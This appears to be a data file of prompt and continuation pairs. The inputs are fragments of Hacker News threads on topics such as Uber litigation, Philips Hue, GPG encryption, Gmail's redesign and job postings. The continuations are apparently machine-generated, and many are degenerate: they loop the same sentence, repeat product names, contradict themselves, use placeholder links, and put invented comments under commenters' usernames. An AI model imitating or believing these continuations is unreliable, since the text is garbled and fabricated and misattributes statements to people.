Thorough comprehension of frontend UX design,\nperformance optimization, and JS architecture and methodologies \\- Deep\nunderstanding of web form usability and security concerns\n[https://jobs.smugmug.com/Job-\nOpenings?gh_jid=586094](https://jobs.smugmug.com/Job-Openings?gh_jid=586094)\n\n------\nmichael_schmidt\nE"} +{"output_text": "\nconferencing.\n\n[1] [http://www.bloomberg.com/news/articles/2016-06-18/uber-\nfaces...](http://www.bloomberg.com/news/articles/2016-06-18/uber-faces-\nlawsuits-from-drivers-in-california-and-new-york)\n\n~~~\nzzalpha\n_The reality today is that there is a large lobby of litig", "input_text": "igration laws this won't happen any time soon. Had it been about\nPatent/IP litigation and any other lawyer the tone of the article would be\ndifferent.\n\nThis is parasitic legal rent seeking at its worst, let's call a spade a spade.\n\nHere is an WSJ article that calls for change in labor laws.[1]\n\n[1] [http://www.wsj.com/articles/what-if-there-were-a-new-type-\nof...](http://www.wsj.com/articles/what-if-there-were-a-new-type-of-worker-\ndependent-contractor-1422405831)\n\n~~~\nzzalpha\n_This is parasitic legal rent seeking at its worst, let's call a spade a\nspade._\n\nOr, its someone fighting organizations profiting illegally by flouting labour\nlaws that have protected workers from corporate exploitation for decades.\n\nBut potato, potahto, right?\n\n~~~\nsecondtimeuse\n\"Fighting organizations\" is a rhetorical device used by lawyers to fool\ngeneral public and people like you.\n\nThe reality today is that there is a large lobby of litigators actively trying\nto keep any change in labour/Patent laws from happening. [1]\n\nI own no shares of Uber Inc. and any other companies involved in these\nlitigations. But the reality is that by framing this incorrectly as David (The\nattorney) vs Goliath (Uber et. al.) fight the article is just pushing your\nemotional buttons. At end of the day litigation is not going to magically\ncreate jobs out of thin air. Uber will eventually shift to autonomous cars or\nwill go bankrupt or might end having chinese drive the cars via video"} +{"output_text": " no respect for their customers.\n\n~~~\njoshstrange\nI'm not sure I agree with you. I think they made a mistake and they're\nattempting to fix it. I don't think they're going to be abusive and controlling\nbut I also don't think they're going to be \"open\" either. I think they're\ngoing to be \"open\" in the sense that they're going to be open to third party\nproducts but they're going to", "input_text": " ecosystem of compatible products available,\nthe ZigBee protocol and third-party light bulbs.\n\nI'm sure that third-party products were causing problems, however, wholesale\nblocking of them via software update is a terrible solution. They, literally,\nturned out the lights on their customers. Meanwhile, I'd be willing to bet\nsupport costs _immediately_ spiked -- people call support when things don't\nwork and they just pushed out a solution that _increased_ rather than\ndecreased that.\n\nUnfortunately, I think they've bruised their reputation quite a bit with this\nmove. It's now delayed my purchase of such a product until I am convinced that\nthey have a solid third-party certification program in place (with very low\nlicensing fees) or (even better) a guarantee with the product that they won't\ntry this again when the market is more mature and they have the option of\nignoring complaining customers.\n\nTheir competitors could see a rise in sales by taking advantage of this\nblunder and committing to open protocols. I haven't looked at the landscape in\nthis category, yet, and had just assumed I'd be buying the Philips Hue\neventually, but they've motivated me to do more research.\n\n~~~\npkgapkg\nTheir move concerned me, because now I don't know if this is \"we won't close\nour ecosystem\" or \"we won't close our ecosystem YET\". I don't feel like waking\nup and discovering that they've decided that they now have enough market share\nto be abusive and controlling. Most of my existing ZigBee stuff isn't as slick\nas the Hue stuff, but I know it won't get turned off.\n\nI get that people make mistakes, but their original move showed that Philips\nhas essentially"} +{"output_text": "\n\n~~~\nmike-cardwell\nI'm not sure why you're being downvoted. I'm not saying that you should use a\n2048 bit key, I'm saying that you should use a 4096 bit key.\n\n~~~\nschroedinger23\nI'm not downvoting you, I'm just saying that you should use a 4096 bit key.\n\n~~~\nmike-cardwell\nI'm not sure why you're being", "input_text": " Microsoft Edge with minimal changes.\" but not how to actually add the\nextension or anything to get going.\n\n~~~\nvxNsr\nYeah, it looks like four now they're only doing joint official extensions.\nBasically you gotta work with someone at Microsoft to have your extension\nadded to the store. Otherwise you can create a regular chrome extension and\nside load it, and it works like 75% of the time.\n\n \n\nEncryption with Gnu Privacy Guard (GPG) - triberian\nhttp://digital-era.net/encryption-with-gnu-privacy-guard-gpg/\n\n======\njmnicolas\nOn all the encryption tutorials I found they always assume 2 and only 2 people\ntrying to talk privately.\n\nI wonder how would one encrypt a conversation between say 15 people.\n\n~~~\nmike-cardwell\nMultiple -r's:\n\ngpg -e -r recipient1@example.com -r recipient2@example.com\n\nThat products some ciphertext which can be decrypted by either recipient.\n\n~~~\nroberto\nI learned this the hard way when using gpg+mutt back in 2001. All my Sent mail\nwas being encrypted only with the recipient's key, so I couldn't read it\nmyself. There's an option to also encrypt outgoing email with your own GPG\nkey.\n\n~~~\nclogston\nIn case anyone is wondering how to make this the default behavior:\n\n\"encrypt-to YOUR_KEY_ID\"\n\nin your gpg.conf\n\n------\nschroedinger23\nThis article also suggests that you should use a 2048 Bit key, and you really\nshouldn't. Better to go with 4096 Bit. And I guess every CPU is fast enough."} +{"output_text": " much of that is just a case of \"we're going to do this, and we\nwant to make sure we have the money to do it\" versus \"we're going to do this,\nand we want to make sure we have the money to do it.\"\n\n~~~\ndshanahan\nI think it's a little of both.\n\nI think the fact that they were going to do it, and they wanted to make sure\nthey had the money to do", "input_text": " to curry favor.)\n\n------\ndshanahan\nHey guys, so that's my post. I'm the founder who was here with Jamie, who I\nconsider a friend and think is a really talented and genuine guy. I've watched\nthis story grow and I think even Jamie might agree that it's been hard (and\nlargely inappropriate) to communicate all the specific details which might\ninform such a wide audience on the events around here.\n\nI was specifically emailed by 'icey' to jump in and be a resource. He/she\nasked me specifically regarding the stated financing situation prior to my\nmoving to Vancouver from Chicago and joining Bootup.\n\nIt was contingent on closing the round. I'm not sure what to say other than\nthat was clear. I took that risk knowingly.\n\n~~~\nicey\nIt was made clear, or it was clear because you read through all the\nagreements?\n\nI'm asking because I think it's a different story if it was buried in some\nfine print versus stated clearly up front.\n\nJamie is the one who brought such a wide audience to the story, but he didn't\nmention anything about being aware of the chance that there may not be any\nfunding.\n\nI still think that what Bootup has done is pretty shady, but it may end up\nbeing less shady than the blog posts have made it sound.\n\n~~~\ndshanahan\nI re-read my answer to your question and wanted to clarify; the fact that\nfunding wasn't secure was clear before I moved to Van. It was included as a\ncontingency on the (simple and short) term sheets.\n\n------\nicey\nThey knew that all of the funding was contingent ahead of time?\n\nI wonder how"} +{"output_text": "\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthey are trying to make money. I think it's a bad thing that they are trying\nto make money by screwing their customers.\n\n~~~\njrockway\nI think it's a good thing that they are trying to make money. It's a bad thing\nthat they are trying to make money by screwing their customers.\n\n~~~\njeffn", "input_text": "\nThanks for the reminder, this will be fixed this afternoon :)\n\n------\nchris123\n\"Closing the barn door after the horse is gone\" is the first thing that popped\ninto my mind when I read this headline.\n\nThe second thing was that they were being \"penny wise and pound foolish\" when\nthey raised prices in the first place (last October, I guess it was). So they\ngot like six months of revenue bump, pissed a lot of people off and created an\nopportunity for at least one big and viable competitor. Smart.\n\nAnd now they flip flop.\n\nThe message is that if they think they can bend you over a barrel and have\ntheir way, they will. And then, if the competitive landscape changes, giving\nyou a chance to get their dick out of your *ss, they will try to kiss and\nmakeup (until they sense their next opportunity to bend you over). What did\nidiot Bush say? \"Fool me once, shame on you... Fool me twice...\"\n\n\n~~~\nww520\nGoogle has lost lots of credibility among 3rd party developers using their API\nand services with the dramatic price hike with Google Maps and AppEngine. You\nwould never know when they will decide to jack up the price again.\n\n~~~\nangkec\nExactly what I was thinking. First reaction from me was that they will raise\nthe price again when they gain market share, second reaction was a quiet note\nto myself that if they ever drop price on AppEngine like they did to GMap I\nshall not go back since my startup was hurt so bad with their vendor lock-in\nand dramatic price raise.\n\n------\njeffnappi"} +{"output_text": " miss is the ability to run a VM on a windows machine\nand run a linux VM on the same machine.\n\n------\nmatt_the_bass\nI\u2019m not sure I agree with the premise that Windows 10 is a step back. I\u2019ve\nbeen using Windows 10 for a few months now and I\u2019m pretty happy with it.\n\nI\u2019m not sure I agree with the premise that Windows 10 is a step back. I\u2019ve\nbeen", "input_text": "absolutely crush windows' update attempts every time I boot up. Microsoft\ndeserves hate for not giving users simple permissions over their own systems.\n\n------\ntasogare\nIt took almost 5 years for Apple to recognize and fix the butterfly keyboard,\nwhich was an obviously bad design. Microsoft is 5 years in with Windows 10 but\nthey are no sign of awareness at all about how crappy it is. Which is sad\nbecause Windows has some good points and advantages (I love Visual Studio,\nnotably), but it's not useable as a daily driver anymore since Win8.\n\n------\nfuu_dev\n\"Most malware writers target Windows as the most popular desktop OS, so it has\nthe biggest number of viruses among all other OSes (over five thousand new\nviruses daily).\"\n\nI thought the article had the aim to showcase solvable issues.\n\nYet it seems to more often just point out the same issue (e.g. privacy),\n\nminor issues(inconsistency in legacy apps)\n\nand even suggest harmful practices (disable security software, never\nupgrade...).\n\n------\nnojvek\nI just bought a new MacBook Pro. I don\u2019t like it but I couldn\u2019t think of a\nbetter alternative. I like OSX, been very used to it. I worked at MS and still\nhate windows (the default track everything philosophy is a big deal breaker).\nLinux for the desktop may come next year.\n\nI really wish Microsoft listened to its customers and stops the track\neverything crap.\n\n------\nksbakan\nBeen using win7 since forever. Win10 is such a huge step back that I just\ninstall win7 even on new PCs. Even hidipi works almost as well on win7.\nProbably the only thing I"} +{"output_text": "\n\n", "input_text": "foryou.js\" : it only takes care of the \"boring\" stuff\n(manipulating DOM, binding data) and lets you do whatever you imagine. So it's\nmore like \"build this chart writing only the 19 lines of javascript that\nmatter\".\n\n------\ndgabriel\nAlas, the site is down. I'd love to see this.\n\n~~~\nlouischatriot\nI just checked and it is up, you can retry!\n\n \n\nGluePrint - Implement Designs Pixel Perfect - koenbok\nhttp://glueprintapp.com\n\n======\navelis\nSlick tool. There are scenarios where this does work and work well (e.g.\nstatic layout) but for responsive web layout design involving transitions this\nfalls a little flat.\n\n------\nkilling_time\nThis looks like a neat tool, with a nice simple solution to a common UI\ndevelopment problem.\n\nWhat image file formats can be used as mockups?\n\n~~~\nkoenbok\nPretty much any image format OSX supports.\n\n~~~\nkilling_time\nThanks for making this - seems to work with PSDs so that's great. This tool\nhas already saved me a bunch of time this week!\n\nOne feature request would be to make the app automatically refresh the overlay\nwhen the source file changes, or to have a keyboard shortcut to refresh from\nthe saved file. This would be useful when toggling layers on/off in Photoshop\nto look at different states of a screen. Cheers!\n\n------\nmannylee1\nAny Linux alternative to this? Nice work.\n\n------\nzapt02\nWindows version plix. :(\n\n------\nthebiglebrewski\nAmazing! Nice work!\n\n "} +{"output_text": " but\nthey're not. They're just a way to get people to write down their password.\n\n~~~\njrockway\nI don't know if it's a security hole, but it's a pain in the ass.\n\nI have a friend who has a \"password\" that is \"password\". He has to type it in\nevery time he logs in.\n\n~~~\nsketerpot\nI don't know if it's a security hole, but it's", "input_text": " and search for a TV show you want to watch,\nyou will find the whole episode. With Google video you will get 3 minute\nclips. Baidu also has an excellent mp3 search. Looking for a movie to watch?\n\nGoogle has made plenty of mistakes in China. For starters most of Googles\ndocumentation is blocked in China thanks to the way China and Google have set\nthe network.\n\n \nMost common passwords list from 3 databases - Anon84\nhttp://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php\n======\njrockway\nThe passwords say a lot about each site's userbase.\n\nsingles.org users commonly use passwords with religious meaning, like \"jesus\",\n\"pastor\", and so on. Apparently this is a site that appeals to the religious\nfolks.\n\nphpBB has things like \"phpbb\" and \"password\". Their forums force people to\ncreate an account they don't want, so they pick a dumb password. (I had to ask\na phpbb question once. I think I used 1234 as my password.)\n\nFinally, Myspace is Myspace, and has commonly-ocuring gems like \"poop\" and\n\"nigger1\". Ah, high school kids...\n\n~~~\nsketerpot\nI just use the same username and password for all sites I don't care about\nthat much. That way if I ever come back again I can just log in easily, and\nthe process of signing up is so familiar I could do it in my sleep.\n\nNo, the real issue is password questions. \"What is your mother's maiden name?\"\n\"In what city were you born?. Those always seem like a security hole,"} +{"output_text": " you'd want to do that.\n\n~~~\njoshu\nI think the problem is that the new design is not very discoverable.\n\nI have a lot of stuff in my inbox, and I don't know where to look.\n\n~~~\ncjfont\nI agree. I think the new design is a bit too busy.\n\n------\njoshu\nI think the new design is a bit too busy.\n\nI have a lot of stuff in", "input_text": " up so much space, that the square\nleft for the actual email message has become rediculessly small.\n\nIf they offered simply a \"super-compact with no fixed bs\" option, I would be\nhappy. The rest of the new design I really don't care about.\n\n------\ndlaw\nI was an intern at Google when this change was first rolled out internally.\nGoogle employees had quite similar reactions.\n\nThe change was not implemented because people liked it, or didn't like it --\nit was implemented because there was cold, hard data showing that new users\nutilized the new design more effectively than the old design.\n\n~~~\ntyppo\nWhat were the metrics used to determine that the design is \"more effective\"?\n\n------\ncjfont\nSome comments:\n\n _\"A major problem that I have with the new interface is that Gmail has gone\nfrom text-based buttons to an icon-only design.\"_\n\nThe text is there, it's simply been converted into tooltips. Are you really\ngoing to need to have the text there after using the button a few dozen times?\n\n _\"The bad is that the compact is hard to read, and comfortable displays less\ninformation than the classic Gmail design.\"_\n\nPerhaps it's because I'm using a custom theme and so my view is different, but\nI don't really see much different between \"compact\" and the old design.\n\n _\"Google has also removed the bottom toolbar from the interface. So if you're\nat the bottom of your inbox, you have to move the mouse back up to the top of\nthe screen to archive, spam, mark messages read, and so forth.\"_\n\nSeriously? Are you going to suffer from RSI from moving your mouse up the\nscreen each time you view your inbox? Not sure why"} +{"output_text": " for a job now?\n\n------\njoshu\nI think the best way to find a good boss is to find a good boss.\n\n------\njoshu\nI think the best way to find a good boss is to find a good boss.\n\n------\njoshu\nI think the best way to find a good boss is to find a good boss.\n\n------\njoshu\nI think the best way to find a good boss is to", "input_text": " cop and\ngood cop, run.\n\n3) if they don\u2019t ask you any personal questions it means they will not care\nabout you.\n\n------\npurpleD\nI think this is the biggest factor when I take a job. Do I like the boss? I\nsay the beer test - would I enjoy hanging out with this boss socially. I'm not\nsaying I would, in fact I rarely have with my bosses, but someone who seems\nlike I could be friends with is someone I want to work for.\n\nThis has lead to me mostly working for bosses with good people skills which is\nrare to find in tech. I hate working for socially obvlivious robot programmers\nwho can't solve people problems.\n\n------\nlhnz\nThere's no foolproof way of detecting bad bosses and environments.\n\nWhat you need to learn is:\n\n(1) How to deal with difficult people. It's very likely that you'll have to\ndeal with personalities and egos like this at some point no matter how\ncarefully you attempt to situate yourself.\n\n(2) How to make yourself marketable enough that you can easily walk from\nuncomfortable workplace cultures. At some point you're going to work with a\ncolleague or in a company that you cannot stand, so be ready for this.\n\n------\ncubano\nWell then, do better and don't look back.\n\nThere is no shame in taking a first job out of college and realizing it wasn't\nmeant to be.\n\nWorking at your age should be akin to dating...you should have no guilt or\nissue with realizing you acted without having complete information and perhaps\njumped into something that wasn't, in the end, right for you.\n\nWhy not start actively shopping"} +{"output_text": " web is a huge source of information, it's not surprising that\nGoogle is using it.\n\n~~~\namk_\nI'm not sure I understand your point.\n\nGoogle's knowledge graph is a graph of facts, not a graph of web pages.\n\nThe fact that the web is a huge source of information is not surprising.\n\n~~~\nnl\n_The fact that the web is a huge source of information is not surprising._\n\nI'm not sure", "input_text": " you will be missed.\n\n~~~\njohnmaguire2013\nReally? The only lyrics sites I can stand are SongMeanings & RapGenius because\nthey aren't coated in ads and people can explain stuff. AZLyrics is one of my\nleast faves, with MetroLyrics coming in as a fave after the other two.\n\n~~~\npsykovsky\nThe only lyrics sites you can stand are the ones who are burning through\ninvestors millions, you mean.\n\n~~~\njessaustin\nIf someone is going to spend a lot of money in order to provide a more\npalatable free service, it just seems sensible to take advantage of that?\n\n------\ncuriously\n\n party in the usa lyrics\n \n\nstill yields azlyrics.com but that might change soon.\n\nI welcome this, it saves a lot of clicking and viewing ads (not that I do\nsince adblock is installed) but on mobile phones and such.\n\n------\namk_\nEdit: Fine, too rambly. Short version.\n\nGoogle Now or Siri are killing the page as a medium for certain types of\ncontent, and I would not be surprised if the info providers transition to an\nAPI-first model where the primary target is layout-agnostic and possibly\nsupported by micropayments.\n\n~~~\nnl\nThis is inaccurate.\n\nGoogle's primary source for their knowledge graph is semi-structured data on\nweb pages, not APIs. Notably, that claim 1200M \"facts\" (of which 8% have \"high\nconfidence\") extracted by understanding web page DOM structure. That compares\nto 140M \"facts\" from human annotations on web pages, with 0.2% high confidence\n(ie, \"semantic web\").\n\nGiven that the"} +{"output_text": " Software Engineer | Full-time | ONSITE\n\nThe Department of Computer Science at Boston University is looking for a\nsoftware engineer to join our team. We are looking for someone who is\npassionate about software development and who is excited to work on a variety\nof projects.\n\nWe are looking for someone who is comfortable with a variety of technologies\nand who is excited to work on a variety of projects. We are looking for\nsomeone who is comfortable with a variety of technologies", "input_text": "respond to end-consumer demand.\n\nWe are post-revenue, well funded by leading VCs, and winning contracts from\nwell known brands. Our small team has diverse backgrounds and experience in\nanalytics, large-scale enterprise SaaS, and retail and financial technology.\nCulture really matters to us: we value diversity in all forms and strive to\nfoster integrity, respect, and open communication.\n\nWe're committed to make enterprise software inspiring. We use Google Cloud\nPlatform, Postgres, Redis, Python, Java and React, all wrapped in strong\ndesign.\n\n== About You ==\n\nYou thrive in a small team where you can build technology from the ground up.\nYou love to pick up new tech, get good at it fast and do something creative\nwith it.\n\nYou don\u2019t shy away from even the most challenging problems and are relentless\nin always looking for better solutions. You are self-motivated and enjoy\nworking with others towards a common objective. Building software is the means\nto an end: you want to change the way an entire industry operates.\n\nAs an engineer at Alloy, you\u2019ll do any or all of the following:\n\n* Model parts of the supply chain and develop features that bring them together\n\n* Automate the collection, parsing, and storage of huge volumes of data\n\n* Design a flexible but blazing-fast analytics framework that powers instant insights\n\n* Build beautiful, easy-to-use apps that our customers love to use\n\n* Dive into server provisioning, deployment, automation, and monitoring\n\nWe would love to hear from you - send me a note at evan@alloy.ai\n\n~~~\nkylepdm\nHow big is the Vancouver office?\n\n------\nacketon\nBoston University |"} +{"output_text": "_sentences)),\nwhich is a list of sentences that are grammatically correct but are not\nidiomatic. I'm not sure if this is a list of sentences that are grammatically\ncorrect but are not idiomatic in the sense of being grammatically correct but\nnot idiomatic in the sense of being grammatically correct but not idiomatic in\nthe sense of being grammatically correct but not idiomatic in the sense of\nbeing grammatically correct but not idiomatic in the sense of", "input_text": " old puzzle book I had\u2014had had?\u2014as a kid. I find it much like the\nBuffalo sentence, in that you puzzle over it for a while, are told the\nresolution, and then say \u201cHuh. OK, if you say so.\u201d)\n\nEDIT: While my mind's on random funny sentences, this one was an old favourite\nof my mother's (who taught me all the grammar I know) from _Cheaper by the\nDozen_. It is the reaction of a child, whose bedroom is on the second floor,\non being presented with an unacceptable evening's reading: \u201cWhat did you bring\nthat book you know I don't like to be read to out of up for?\u201d\n\n~~~\npvg\nMore hads can be had there -\n\n[http://en.wikipedia.org/wiki/James_while_John_had_had_had_ha...](http://en.wikipedia.org/wiki/James_while_John_had_had_had_had_had_had_had_had_had_had_had_a_better_effect_on_the_teacher)\n\n~~~\nJadeNB\nThat's beautiful! It must be 20 years that I've been subconsciously bothered\nby that puzzle, because I couldn't understand what \u201cmore fun\u201d was supposed to\nmean in that context. With \u2018where\u2019 in place of \u2018while\u2019 and \u201ca better effect on\nthe teacher\u201d in place of \u201cmore fun\u201d, it sudddenly makes sense.\n\nAlso, the linked article links to \u201cList of linguistic example sentences\u201d\n([http://en.wikipedia.org/wiki/List_of_linguistic_example_sent...](http://en.wikipedia.org/wiki/List_of_linguistic_example"} +{"output_text": "\nstate in memory, so it might not be a huge win.\n\n~~~\nvkjv\nI don't think it would be a huge win. The problem is that the state is\nmutable, so you have to update it in memory.\n\n~~~\nstevebmark\nI'm not sure I follow. If you have a mutable state, you can't use a cache.\n\n~~~\nvkjv\nYou can use a cache, but you", "input_text": " juggling error codes.\n\n------\nsuzzer99\n> On each server, rules are retrieved from Redis and cached in-memory using an\n> LRU-cache. As node.js is not multi-threaded, we spin up 4 instances of\n> node.js per server, 1 instance per CPU core. Thus, we cache in-memory 4\n> times per server. This is a waste of memory!\n\nThis is completely standard and the only way to do node in-memory caching.\nThink of each worker as a completely independent node process, which is only\nbound to the cluster by a master process which has the ability spawn and kill\nchild cluster processes.\n\n~~~\nvkjv\n> This is completely standard and the only way to do node in-memory caching.\n\nThis isn't accurate you can use shared memory. There are a few modules that\nimplement this. In addition, you can offload the JSON.parse to the dedicated\n\"caching\" process that updates the shared memory.\n\n~~~\nsuzzer99\nDo you have a link that describes an example of this?\n\nOk nevermind, google is my friend:\n[https://github.com/PaquitoSoft/memored](https://github.com/PaquitoSoft/memored)\n\nI can see where this would come in handy. But at 240MB total resident memory\nper CPU across 4 node workers that OP describes, I wouldn't hassle with it.\n\n------\nstevebmark\nre: multiple processes duplicating memory, would a single menmcache instance\nor similar solve this problem? I don't have any perspective on how that would\nperform at scale vs individual programs reading from application state.\nAlthough thinking about it, each process would probably have to store all that"} +{"output_text": " the \"Linux\" in there doesn't make it any less of a trojan.\n\n------\nayliyazem\nI think it is a good idea to have a \"women in silicon valley\" thread.\n\n------\nayliyazem\nI think it is a good idea to have a \"women in silicon valley\" thread.\n\n------\nayliyazem\nI think it is a good idea to have a \"women in silicon valley\" thread", "input_text": " working.\n\nSo far we like it. It helps people feel more comfortable being unreachable for\na period of focused work. As a founder, I get a sense that it can help make\npeople do the stuff that matters, vs. wasting time chatting on Slack.\n\nWe'd still like to see more features around supporting different time zones\n(we're spread across 9 time zones, so it can be easy for people further east\nto just keep working when getting pinged by people further west).\n\n \n\nAsk HN: Women in Silicon Valley - ayliyazem\n\nI read that the total number of woman living in silicon valley is extremely low compared to the total number of man living in silicon valley. And that woman account for less than 10 percent of the total number of board directors in the valley. What can we do about that?! (well, at least there is one advantage: as a startup you won\u2019t have to waste your time on visiting hundreds of Weddings every month :-))\n======\nayliyazem\nHaha!! Well, me too! But I think more women need to be inspired to do the\nsame! Would be a fun challenge!\n\n------\nrachelbythebay\nBreak out and start your own company? That's what I'm working on.\n\n \n\nLinux Trojan rears its ugly head - helwr\nhttp://www.sophos.com/blogs/chetw/g/2010/06/12/linux-malware-rears-ugly-head/\n\n======\nalttab\nThe title is inflamatory, sensational, and misleading - albeit effective.\n\nAs others have pointed out, this isn't a \"linux trojan\" as much as it is a\n\"software source code repository hack.\"\n\nDropping"} +{"output_text": " is a recipe\nfor disaster.\n\n~~~\njessriedel\n> How is this different from any other academic research?\n\nIt's not. It's just a different kind of research.\n\n> What he is asking about is neither openness nor reproducibility (which are,\n> indeed, very important).\n\nI don't think that's true. He's asking for the code to be open, and he's\nasking for it to be reproducible.\n\n", "input_text": " the Austrian school after the financial crisis\nand the recession.\n\nI agree that from a purely academic point of view this is nothing big to worry\nabout, but this paper played a completely outsized role. And the authors stood\nby and let things run their course, without any attempt to reign in or\nmoderate the debate.\n\n[https://en.wikipedia.org/wiki/Growth_in_a_Time_of_Debt](https://en.wikipedia.org/wiki/Growth_in_a_Time_of_Debt)\n\n~~~\nlinhchi\nFair enough, but i add that academic life is sad, one has to pursue one's\nendeavor at one's own cost. However, politicians and the public want too much\nfrom us researchers. So sometimes, we do believe that our sweating formulas\nhave life impact, or to fancy, save the world.\n\n------\nxixi77\nHow is this different from any other academic research? What he is asking\nabout is neither openness nor reproducibility (which are, indeed, very\nimportant). He is asking that researchers produce code that he can put into\nproduction. Not only they have negative incentives to do so (for one,\nproviding such code will surely result in a stream of all kinds of support\nrequests), it would actually work against the reproducibility objective.\n\nThe purpose of the code written is usually very simple: to produce results of\nthe paper, not to provide a tool other people can use out of the box. Even\nwhen such a tool is nominally provided (for example, when a statistics paper\nis accompanied by an R package), there are good reasons to be very careful\nwith it: for example, the paper may include assumptions on valid range of\ninputs, and using the package without actually reading the paper"} +{"output_text": ". Systrom, who had been a Facebook employee for only a few months,\nwasn\u2019t about to let the firm\u2019s investment in Burbn, a photo-sharing app, go\nunpunished._\n\nI'm curious about the extent to which you can avoid disclosing information to\nyour investors.\n\n~~~\njoshu\nI think you can't avoid it.\n\n~~~\nbravura\nI'm curious about the extent to which you", "input_text": "izes their investment potential on any given deal? I wish I would have\nbought Apple stock in 1998 instead of 2005, but I wouldn't say I \"fumbled an\ninvestment opportunity.\" When I first saw this headline, not knowing the\nbackstory, I thought this meant that they did something to piss off the\nInstagram founders and lost out on the chance to put anything into the company\nat all.\n\n------\nrexf\nWas the NYT headline updated? It currently reads 'How Andreessen Horowitz\nBunted on an Instagram Investment'.\n\nThe piece describes how Andreessen Horowitz invested in both Burbn & Picplz.\nAfter Burbn pivoted to Instagram, Andreessen Horowitz had to choose between\nthe two - since they competed directly. Andreessen Horowitz chose to go with\nthe company that they put money for photo sharing.\n\n~~~\ndkrich\nHa, it must have been, because the URL still says \"fumbled.\"\n\n------\nsriramk\nAlso tells you how difficult it is to figure out who is going to make it big.\npicplz had Dalton Caldwell, both an Android and an iPhone version and a\nseveral month head start. You can't blame a16z for picking them.\n\nBesides, it looks like they did the most ethical/default thing they could -\nback the company they had already funded for photo sharing and avoid a\nconflict.\n\n------\nbravura\n_It was a calculated bet against Instagram and it left Mr. Systrom livid,\nthese people said. Instagram\u2019s founders never discussed strategy with the firm\nagain._\n\nCurious: To what extent can you avoid disclosing information to your\ninvestors, once it becomes clear that they are competing against you.\n\n _But Mr"} +{"output_text": "or per user per year).

I'm not looking for a full-fledged SaaS product. I just want a simple web-based dashboard where I can see what software is installed on each PC. I don't want to have to install anything on the PCs. I just want to be able to see what software is installed on each PC and then be able to remotely uninstall it.

I'm", "input_text": ",\nand once I had what I wanted running with exact real arithmetic, I could\nswitch back to floats to make it faster.\n\n------\ndang\nUrl changed from [http://lambda-the-ultimate.org/node/5581](http://lambda-the-\nultimate.org/node/5581), which points to this.\n\n~~~\nKinrany\nI initially decided against posting the video because the thread has a small\namount of discussion.\n\nMainly the link to related work: Seven Sketches in Compositionality,\n[https://arxiv.org/abs/1803.05316](https://arxiv.org/abs/1803.05316)\n\nEdit: previously on HN:\n[https://news.ycombinator.com/item?id=20376325](https://news.ycombinator.com/item?id=20376325)\n\n \n\nWhy is there no SaaS asset management service? - dankohn1\n\nI'm looking to manage application software on about 50 Windows PCs to ensure that we have bought all the licenses we need.

Almost every company in the space has a 100 or 500 seat minimum. I've looked at Dell Kace, Express Metrics, Scalable, Snow Software, TrackIt, iQuate, and Front Range. All of these sites include Products, Services, and Partners in the top-level navigation but never Pricing.

All I want is a link to an installer I can get every person in the company to run, and then a web-based dashboard where I can see what they have installed. Remote install and uninstall would be great but is not essential. I want to be billed a small amount per user per month ("} +{"output_text": ".com/watch?v=0_0_0_0_0](https://www.youtube.com/watch?v=0_0_0_0_0)\n\n~~~\nAnimats\nThat's a video of a fire in a wood-frame house. It's not a fire in a\nconcrete-and-steel building.\n\n~~~\njkaljundi\nI was referring to the fire in the video.\n\n------", "input_text": "ynnott\nAssuming you're talking about Grenfell, that was an old concrete building. The\nfire was so deadly due to improperly specced and/or installed exterior\ncladding which had recently been added; nothing to do with wood.\n\n------\neksemplar\nIs the clue and fire resistance safe to breathe though?\n\n------\nanovikov\nIt's rather stupid to worry about global warming here, as concrete use in\nFrance is less than 1% of what it is in China anyway.\n\n------\nAnimats\nThis trend towards large multi-story timber apartment buildings is worrying.\nThat used to be prohibited in many US jurisdictions. Now I see San Jose and\nRedwood City putting up lots of these things. \"Luxury apartments\" made of\nchipboard. The fire protection people aren't happy about this.[1]\n\nThere's a fad for \"podium buildings\". The first two floors are steel and\nconcrete, and then there are a few floors of wood. These appear in areas where\nyou're not allowed wood construction for commercial buildings. The bottom\nfloors are commercial; the upper floors are residential.\n\n[1] [https://community.nfpa.org/community/nfpa-\ntoday/blog/2017/03...](https://community.nfpa.org/community/nfpa-\ntoday/blog/2017/03/21/recent-fires-in-apartment-buildings-under-construction-\nhighlight-the-importance-of-developing-a-fire-safety-program-and-designating-\na-fire-prevention-manager-during-construction)\n\n~~~\njkaljundi\nModern wood is much more fire resistant than concrete or steel\n[https://www.youtube"} +{"output_text": "WS), PostgreSQL, Redis, Elasticsearch, Docker,\nKubernetes, Ansible, Puppet, Jenkins, Git, Jira, Confluence, Jira,\nConfluence, Jira, Confluence, Jira, Confluence, Jira, Confluence, Jira,\nConfluence, Jira, Confluence, Jira, Confluence, Jira, Confluence, Jira,\nConfluence, Jira, Confluence, J", "input_text": " isomorphic Redux apps backed by a shared NodeJS API. We have CI and CD\nprocesses in place, and make use of docker-based microservices via Iron.io. We\nhave plenty of challenges to tackle from predictive analysis to optimizing\nfulfillment operations.\n\nWe're looking for a senior Software Engineer who's comfortable writing backend\ncode and dealing with docker and aws. Our stack is react (and redux), node,\npostgres, docker and aws.\n\nIf this sounds like you reach out at info+hn@thefarmersdog.com\n\n------\nQuelqueChose\nPartoo | [http://www.partoo.fr/](http://www.partoo.fr/) | Paris | ONSITE\n\nHelp our clients maintain an awesome online presence in an exciting startup\nenvironment. We\u2019re looking to hire talented developers to help us build and\ndesign new products on both our front and back.\n\nPartoo helps our customers taking advantage of the best qualities of spreading\ntheir info and products online. Imagine openness, collaboration, good coding\npractices, workflow automation all made possible thanks to your contributions.\nIn Partoo, you would play a crucial role in our company\u2019s success. Your\ncontributions to our state-of-the-art solution will make or break our goal to\nbring happiness to the lives of business owners from small to big companies\n(Carrefour, Auchan, Effia, and so on...).\n\nAll of this while working out of an incubator (p\u00e9pini\u00e8re) in the heart of\nParis. Intrigued? Search us on angel.co for more details.\n\nSome of our stack: Python (Pyramid), JavaScript (React, jQuery), MongoDB,\nAmazon Web Services (A"} +{"output_text": "and software) to break a standard.\n\n------\njosteink\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good", "input_text": "3&keywords=philips+hue+hub)\n\n------\nrevelation\nNot sure why people are screaming \"boycott\". Philips never advertised their\nsystem as being compatible with third-party lights. The fact that they use an\nopen protocol to communicate with their own lights doesn't change this.\n\nIt's like connecting to your office chat with an IRC client because you\nfigured out that's what they are using under the hood. 